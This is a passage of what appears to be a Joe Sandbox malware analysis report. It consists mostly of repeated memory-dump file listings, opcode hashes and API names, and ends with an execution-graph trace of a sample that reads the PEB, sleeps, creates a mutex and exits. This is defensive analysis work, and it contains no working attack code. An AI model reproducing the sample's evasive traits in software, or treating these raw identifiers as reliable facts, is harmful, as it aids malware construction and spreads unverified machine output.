                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                                              • Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
                                                                                                                                                                                                                                                              • Instruction ID: be7f4958ac7339d68ce1c807650c7c25fc9f76caca3cafa0300c4daa640bb3ec
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 22E04632921228EBCB18EB9C990498AB2ACFB49B00B690096B901D3250C270DE00D7D1
                                                                                                                                                                                                                                                              Function 00862EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 57040152-0
                                                                                                                                                                                                                                                              • Opcode ID: be607072830ef8a420e6a48be97c4a45de914fe43868bcf5bb77119ff216a399
                                                                                                                                                                                                                                                              • Instruction ID: c68dd575e297d8eddc43f92a08b707f4bdd904eb0e8f1274bb6adfaa2bbf5252
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: be607072830ef8a420e6a48be97c4a45de914fe43868bcf5bb77119ff216a399
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: EFA1E3B0A05605EFDB20DF68C844B5AB7B8FF15314F05816DE81AD7681EB35EA08CBD2
                                                                                                                                                                                                                                                              Function 0089CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: _strrchr
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3213747228-0
                                                                                                                                                                                                                                                              • Opcode ID: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
                                                                                                                                                                                                                                                              • Instruction ID: afe207b762318f11925a5267e43f1ffc3aeda67a7e7bdbb8425fde637db1a252
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6DB12432D042899FDF11EF28C8817AEBFE5FF45344F18416AE845EB242D6368D01CB61
                                                                                                                                                                                                                                                              Function 0087BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: Xtime_diff_to_millis2_xtime_get
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 531285432-0
                                                                                                                                                                                                                                                              • Opcode ID: e16ea1e2dac8ce8b0fb7c9de39b6e89c026905681f3441b23c041fd8f9500ae5
                                                                                                                                                                                                                                                              • Instruction ID: 3bc59d6cfcba4b0e6f801f85be668852f43ba92f077474d7a5157fc6f7063972
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e16ea1e2dac8ce8b0fb7c9de39b6e89c026905681f3441b23c041fd8f9500ae5
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 9F211B71A00119AFDF01EFA8D8819BEBBB9FF48714F108029F909F7265DB709D459BA1

                                                                                                                                                                                                                                                              Execution Graph

                                                                                                                                                                                                                                                              Execution Coverage:1%
                                                                                                                                                                                                                                                              Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                                              Signature Coverage:0%
                                                                                                                                                                                                                                                              Total number of Nodes:207
                                                                                                                                                                                                                                                              Total number of Limit Nodes:9
                                                                                                                                                                                                                                                              execution_graph 9700 ab6629 9703 ab64c7 9700->9703 9704 ab64d5 __cftof 9703->9704 9705 ab6520 9704->9705 9708 ab652b 9704->9708 9707 ab652a 9714 aba302 GetPEB 9708->9714 9710 ab6535 9711 ab654a __cftof 9710->9711 9712 ab653a GetPEB 9710->9712 9713 ab6562 ExitProcess 9711->9713 9712->9711 9715 aba31c __cftof 9714->9715 9715->9710 9716 abd82f 9719 abd83c __dosmaperr 9716->9719 9717 abd867 RtlAllocateHeap 9718 abd87a __dosmaperr 9717->9718 9717->9719 9719->9717 9719->9718 9720 a8a856 9721 a8a870 9720->9721 9728 a8a892 shared_ptr 9720->9728 9722 a8a94e 9721->9722 9721->9728 9729 ab6c6a 9722->9729 9725 a8a953 Sleep CreateMutexA 9727 a8a98e 9725->9727 9726 a8a903 9732 a980c0 9728->9732 9747 ab6bf6 9729->9747 9731 ab6c79 __cftof 9736 a980de 9732->9736 9737 a98104 9732->9737 9733 a981ee 9906 a99270 9733->9906 9735 a981f3 9909 a82480 9735->9909 9736->9726 9737->9733 9739 a98158 9737->9739 9740 a9817d 9737->9740 9739->9735 9901 a9d3e2 9739->9901 9743 a9d3e2 RtlAllocateHeap 9740->9743 9744 a98169 __cftof 9740->9744 9743->9744 9745 ab6c6a RtlAllocateHeap 9744->9745 9746 a981d0 shared_ptr 9744->9746 9745->9733 9746->9726 9753 aba7c8 9747->9753 9749 ab6c0f 9749->9731 9750 ab6c01 __cftof 9750->9749 9751 ab6bf6 __cftof RtlAllocateHeap 9750->9751 9752 ab6c66 9751->9752 9752->9731 9754 aba7d2 __dosmaperr 9753->9754 9756 aba7eb 9754->9756 9764 abd82f 9754->9764 9756->9750 9757 aba813 __dosmaperr 9758 aba853 9757->9758 9759 aba81b __dosmaperr 9757->9759 9772 aba49f 9758->9772 9768 abadf5 9759->9768 9763 abadf5 __freea RtlAllocateHeap 9763->9756 9767 abd83c __dosmaperr 9764->9767 9765 abd867 RtlAllocateHeap 9766 abd87a __dosmaperr 9765->9766 9765->9767 9766->9757 9767->9765 9767->9766 9769 abae00 9768->9769 9771 abae1b __dosmaperr 9768->9771 9769->9771 9776 ab75f6 9769->9776 9771->9756 9773 aba50d __dosmaperr 9772->9773 9779 aba445 9773->9779 9775 aba536 9775->9763 9777 aba7c8 __dosmaperr RtlAllocateHeap 9776->9777 9778 ab75fb 9777->9778 9778->9771 9780 aba451 __dosmaperr 9779->9780 9783 aba626 9780->9783 9782 aba473 __dosmaperr 9782->9775 9784 aba635 __dosmaperr 9783->9784 9785 aba65c __dosmaperr 9783->9785 9784->9785 9787 abf35f 9784->9787 9785->9782 9788 abf3df 9787->9788 9791 abf375 9787->9791 9789 abf42d 9788->9789 9792 abadf5 __freea RtlAllocateHeap 9788->9792 9855 abf4d0 9789->9855 9791->9788 9793 abf3a8 9791->9793 9799 abadf5 __freea RtlAllocateHeap 9791->9799 9794 abf401 9792->9794 9795 abf3ca 9793->9795 9800 abadf5 __freea RtlAllocateHeap 9793->9800 9796 abadf5 __freea RtlAllocateHeap 9794->9796 9798 abadf5 __freea RtlAllocateHeap 9795->9798 9797 abf414 9796->9797 9801 abadf5 __freea RtlAllocateHeap 